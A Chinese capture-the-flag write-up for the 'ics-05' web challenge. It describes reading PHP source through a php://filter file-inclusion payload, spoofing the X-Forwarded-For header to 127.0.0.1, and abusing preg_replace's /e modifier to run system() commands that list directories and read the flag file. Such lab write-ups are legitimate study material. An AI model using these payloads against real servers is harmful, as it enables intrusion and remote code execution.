zoukankan      html  css  js  c++  java
  • 攻防世界-web ics-05

    做了一个ics-06,现在来试一下做5。先来打开页面吧。

    还是与之前一样,那我就想着继续查看一下index.php

    来到了这个页面,也没发现什么东西。

    查看一下源码吧

    发现猫腻。有page这个get这个参数,想着会不会是可能存在利用文件包含读取网页源码的漏洞。那我们用php内置filter协议读取文件的代码

    ?page=php://filter/read=convert.base64-encode/resource=index.php

    这样就可以读取出源码的内容,不过是用base64加密后的源文件。

    然后我们利用base64解密一手。发现有php代码。我扔到下面。

    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
        echo "<br >Welcome My Admin ! <br >";
    
        $pattern = $_GET[pat];
        $replacement = $_GET[rep];
        $subject = $_GET[sub];
    
        if (isset($pattern) && isset($replacement) && isset($subject)) {
            preg_replace($pattern, $replacement, $subject);
        }else{
            die();
        }

    那我们来进行一下代码审计吧。

    首先$_SERVER['HTTP_X_FORWARDED_FOR'],我们先来解释里面的这个HTTP_X_FORWARDED_FOR,看着这个会不会有些熟悉。

    它其实也就是咱们常说的XFF头,它是由客户端控制的。这个可以用来伪造IP

    使用bp构造XFF头伪造IP。

    而这个函数呢,它能透过代理IP取到真实用户的地址,对HTTP协议进行扩展。定义了一个叫做X-Forwarded-For的实体头。

    所以PHP里使用$_SERVER{HTTP_X_FORWARDED_FOR}来获取IP。

    代码里需要IP===127.0.0.1

    那我们就先在html的头格式中伪造IP,要等于127.0.0.1

    构造好后来go一下,

    这样页面里出现Welcome My Admin!,这证明伪造成功了

    那我继续看下面的php代码。

    这里有一个最关键的函数——preg_replace()函数

    为啥这里关键呢。参考大佬的wp,说这个preg_replace()函数存在着一个/e漏洞进行代码执行,百度了一下:

    那我们先了解一下这个函数的作用。

    语法:preg_replace($pattern,$replacement,$subject)

    作用:找subject中与pattern匹配的,用replacement来替换掉。

    $pattern:要替换的内容。可以是字符串或者是字符串数组。

    $replacement:用于替换的字符串或数组。

    $subject:要搜索替换的目标字符串或数组。

    还有关于这个函数的/e漏洞:

    preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。

    我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上面代码中 preg_replace 函数的第二个参数)当做代码来执行。

    也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码。

    现在我们开始进行第一步,利用system("ls")查看一下文件目录,

    ?pat=/abc/e&rep=system("ls")&sub=defg%20abc

    成功读取了文件目录,同时发现了s3chahahaDir有点东西。进到里面查看内容。

    利用cd去到s3chahahaDir文件夹下查看内容。

    构造Pyload:

    ?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=defg%20abc

    %20代表空格,%26%26就是&&

    发现了flag文件。再利用cd命令读取一下flag

    Pyload:

    ?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=defg%20abc

    成功读取flag文件夹里的flag.php文件,最后我们再cd命令读取一下。

    pyload:

    ?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=defg%20abc

    成功读取flag.

    cyberpeace{e451121369f5be315f891e55e01fe1d6}

  • 相关阅读:
    Flutter实战(四)---LoadingDialog
    多重if结构
    Java类型转换
    Eclipse安装中文简体语言包
    flutter 上传图片 image_picker 的使用
    【Dart学习】--Dart之数字(num)相关方法总结
    Flutter TextField详解
    003——angular 组件 以及组件里面的模板
    001——Typescript 介绍 、Typescript 安 装、Typescript 开发工具
    002——Angular 目录结构分析、app.module.ts 详解、以及 Angular 中创建组件、组件 详解、 绑定数据
  • 原文地址:https://www.cnblogs.com/awsole/p/13866994.html
Copyright © 2011-2022 走看看